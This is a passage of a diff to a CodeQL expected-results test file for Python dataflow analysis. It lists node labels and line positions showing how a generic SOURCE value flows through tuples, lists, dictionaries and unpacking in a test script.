| ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:590:12:590:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:591:10:591:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:596:7:596:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:596:7:596:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:596:7:596:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | -| test.py:596:11:596:13 | IterableElement | semmle.label | IterableElement | -| test.py:596:11:596:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | -| test.py:597:10:597:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:599:12:599:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:599:12:599:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:600:10:600:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:600:10:600:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | -| test.py:605:5:605:19 | IterableElement [Tuple element at index 2] | semmle.label | IterableElement [Tuple element at index 2] | -| test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:605:5:605:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 2] | -| test.py:605:7:605:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:605:7:605:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:605:7:605:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | -| test.py:605:11:605:13 | IterableElement | semmle.label | IterableElement | -| test.py:605:11:605:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | -| test.py:606:10:606:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:608:12:608:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:608:12:608:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:609:10:609:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:609:10:609:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:614:6:614:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | -| test.py:614:6:614:14 | IterableElement | semmle.label | IterableElement | -| test.py:614:6:614:14 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:614:7:614:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:614:11:614:13 | IterableElement | semmle.label | IterableElement | -| test.py:614:11:614:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | -| test.py:615:10:615:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:617:12:617:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:617:12:617:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:618:10:618:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:618:10:618:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:692:16:692:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | +| test.py:342:10:342:21 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:342:11:342:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:342:11:342:17 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:346:10:346:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:346:10:346:20 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:346:11:346:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:350:10:350:22 | ControlFlowNode for Dict [Dictionary element at key s] | semmle.label | ControlFlowNode for Dict [Dictionary element at key s] | +| test.py:350:10:350:27 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:350:16:350:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:373:10:373:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:373:28:373:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:381:10:381:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:381:30:381:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:389:10:389:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:389:10:389:43 | KwUnpacked b | semmle.label | KwUnpacked b | +| test.py:389:30:389:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:389:36:389:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | +| test.py:397:10:397:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:397:33:397:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | +| test.py:405:10:405:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:405:39:405:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:426:10:426:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:426:10:426:38 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | +| test.py:434:10:434:39 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | +| test.py:434:34:434:39 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:458:10:458:18 | ControlFlowNode for f() | semmle.label | ControlFlowNode for f() | +| test.py:458:12:458:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:465:10:465:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:465:28:465:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:479:10:479:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:479:30:479:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:493:10:493:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:493:10:493:43 | KwUnpacked b | semmle.label | KwUnpacked b | +| test.py:493:30:493:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:493:36:493:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | +| test.py:498:10:498:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:498:33:498:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | +| test.py:503:10:503:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:503:39:503:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:515:9:515:14 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:517:10:517:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:522:10:522:10 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | +| test.py:527:10:527:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:527:10:527:26 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:528:5:528:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:528:5:528:8 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:529:10:529:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:535:10:535:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:535:19:535:35 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:535:30:535:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:536:5:536:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | +| test.py:536:9:536:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:536:9:536:12 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | +| test.py:536:12:536:12 | SSA variable c | semmle.label | SSA variable c | +| test.py:537:10:537:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:539:10:539:10 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | +| test.py:544:9:544:33 | ControlFlowNode for List [List element, List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element, List element] | +| test.py:544:10:544:21 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | +| test.py:544:11:544:20 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:544:12:544:19 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:544:13:544:18 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | +| test.py:545:5:545:11 | IterableElement [List element, List element] | semmle.label | IterableElement [List element, List element] | +| test.py:545:5:545:11 | IterableSequence [List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element] | +| test.py:545:5:545:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | +| test.py:545:5:545:14 | IterableElement [List element, List element, List element] | semmle.label | IterableElement [List element, List element, List element] | +| test.py:545:5:545:14 | IterableSequence [List element, List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element, List element] | +| test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:545:6:545:10 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:545:6:545:10 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:545:7:545:9 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:545:7:545:9 | IterableElement | semmle.label | IterableElement | +| test.py:545:7:545:9 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:545:8:545:8 | SSA variable a | semmle.label | SSA variable a | +| test.py:546:10:546:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:552:10:552:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:552:18:552:23 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:553:5:553:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:553:8:553:9 | IterableElement | semmle.label | IterableElement | +| test.py:553:8:553:9 | SSA variable b [List element] | semmle.label | SSA variable b [List element] | +| test.py:554:10:554:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:556:10:556:10 | ControlFlowNode for b [List element] | semmle.label | ControlFlowNode for b [List element] | +| test.py:556:10:556:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:562:11:562:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:562:12:562:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:562:31:562:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:562:40:562:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:562:41:562:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | +| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:565:6:565:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:565:6:565:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:565:7:565:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:565:7:565:16 | IterableElement | semmle.label | IterableElement | +| test.py:565:7:565:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:565:7:565:16 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:565:7:565:16 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | +| test.py:565:7:565:16 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | +| test.py:565:11:565:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:565:15:565:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:566:10:566:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:567:12:567:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:568:10:568:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 1] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 1] | +| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:573:5:573:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:573:5:573:24 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:573:7:573:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:573:7:573:16 | IterableElement | semmle.label | IterableElement | +| test.py:573:7:573:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:573:7:573:16 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:573:7:573:16 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | +| test.py:573:7:573:16 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | +| test.py:573:11:573:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:573:15:573:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:574:10:574:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:575:12:575:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:576:10:576:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:581:6:581:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:581:6:581:17 | IterableElement | semmle.label | IterableElement | +| test.py:581:6:581:17 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:581:6:581:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:581:6:581:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:581:7:581:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:581:11:581:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:581:15:581:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:582:10:582:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:583:12:583:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:584:10:584:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:590:12:590:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:590:31:590:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:593:5:593:19 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:593:5:593:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:593:5:593:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:593:6:593:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:593:6:593:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | +| test.py:593:6:593:14 | IterableElement | semmle.label | IterableElement | +| test.py:593:6:593:14 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:593:7:593:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:593:11:593:13 | IterableElement | semmle.label | IterableElement | +| test.py:593:11:593:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | +| test.py:594:10:594:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:596:12:596:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:596:12:596:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:597:10:597:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:597:10:597:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:602:7:602:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:602:7:602:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:602:7:602:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | +| test.py:602:11:602:13 | IterableElement | semmle.label | IterableElement | +| test.py:602:11:602:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | +| test.py:603:10:603:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:605:12:605:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:605:12:605:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:606:10:606:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:606:10:606:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:611:5:611:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:611:5:611:19 | IterableElement [Tuple element at index 2] | semmle.label | IterableElement [Tuple element at index 2] | +| test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | +| test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 2] | +| test.py:611:7:611:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:611:7:611:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:611:7:611:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | +| test.py:611:11:611:13 | IterableElement | semmle.label | IterableElement | +| test.py:611:11:611:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | +| test.py:612:10:612:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:614:12:614:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:614:12:614:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:615:10:615:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:615:10:615:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:620:6:620:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:620:6:620:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | +| test.py:620:6:620:14 | IterableElement | semmle.label | IterableElement | +| test.py:620:6:620:14 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:620:7:620:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:620:11:620:13 | IterableElement | semmle.label | IterableElement | +| test.py:620:11:620:13 | SSA 